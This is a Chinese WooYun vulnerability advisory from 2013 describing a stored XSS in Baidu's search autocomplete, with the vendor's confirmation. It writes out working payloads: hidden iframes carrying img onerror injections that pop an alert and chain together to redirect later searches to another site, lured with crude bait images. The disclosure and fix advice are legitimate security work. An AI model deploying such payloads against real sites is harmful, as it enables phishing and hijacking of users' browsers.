当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-020415

漏洞标题：百度首页反射半自动存储xss

相关厂商：百度

漏洞作者： 呆子不开口

提交时间：2013-03-21 15:12

修复时间：2013-05-05 15:13

公开时间：2013-05-05 15:13

漏洞类型：xss跨站脚本攻击

危害等级：低

自评Rank：5

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-03-21： 细节已通知厂商并且等待厂商处理中
2013-03-21： 厂商已经确认，细节仅向厂商公开
2013-03-31： 细节向核心白帽子及相关领域专家公开
2013-04-10： 细节向普通白帽子公开
2013-04-20： 细节向实习白帽子公开
2013-05-05： 细节向公众公开

简要描述：

如果中标方是个有文采的互联网达人，此人会立马在微博上惊呼“天呐，360搜索加入了百度的阿拉丁计划”

详细说明：

chrome和ff下有效，IE没测，需要百度用户在登陆状态下
百度首页搜索汉字超过两个后，会把搜索内容及拼音写入浏览器的localstorage，当你再次搜索类似的词时，会在下拉框自动填充，但在当你输入的是字母时，自动响应出的汉字对应内容没有进行html转义

baidu.jpg


我们可以很简单的iframe一个构造好的搜索结果页来让用户浏览，如

<iframe src='http://www.baidu.com/s?wd=%E5%BE%AE%E5%8D%9A%3Cimg+src%3D1+onerror%3Dalert%281%29%3E' width='0' height='0'></iframe>
<img src=美女高潮图>


以后当用户再搜索或误输入"weib" "weibo"等字符时，就会执行我们的代码
这个漏洞比较难利用，可以写入localstorage的搜索内容有长度要求，可利用部分很短，自动填充用的是innerhtml，<script>无效。但由于每次可以显示两条，所以通过两次拼接，还是可以实现弹窗钓鱼或者转向广告业恶意页等，还是有一定危害。比如如下代码

<iframe src='http://www.baidu.com/s?wd=搜索<img+src+onerror%3Dlocation.href%3Da>' width='0' height='0'></iframe>
<iframe src='http://www.baidu.com/s?wd=搜索<img+src+onerror%3Da%3D%27%2F%2Fso.com%27>' width='0' height='0'></iframe>
<img src=美女完事累坏了图>


访问这样的页面后，以后在百度搜索框里只要敲"sous""sousu""sousuo"等都会跳到360搜索，如果中标方是个有文采的互联网达人，此人会立马在微博上惊呼“天呐，360搜索加入了百度的阿拉丁计划”

漏洞证明：

如上图

修复方案：

localstorage里的内容放入页面中时，做html转义
另，最好是能做到识别出，是用户主动搜索的内容才放入localstorage中

版权声明：转载请注明来源 呆子不开口@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：3

确认时间：2013-03-21 15:27

厂商回复：

感谢提交，马上联系业务部门修复！

最新状态：

暂无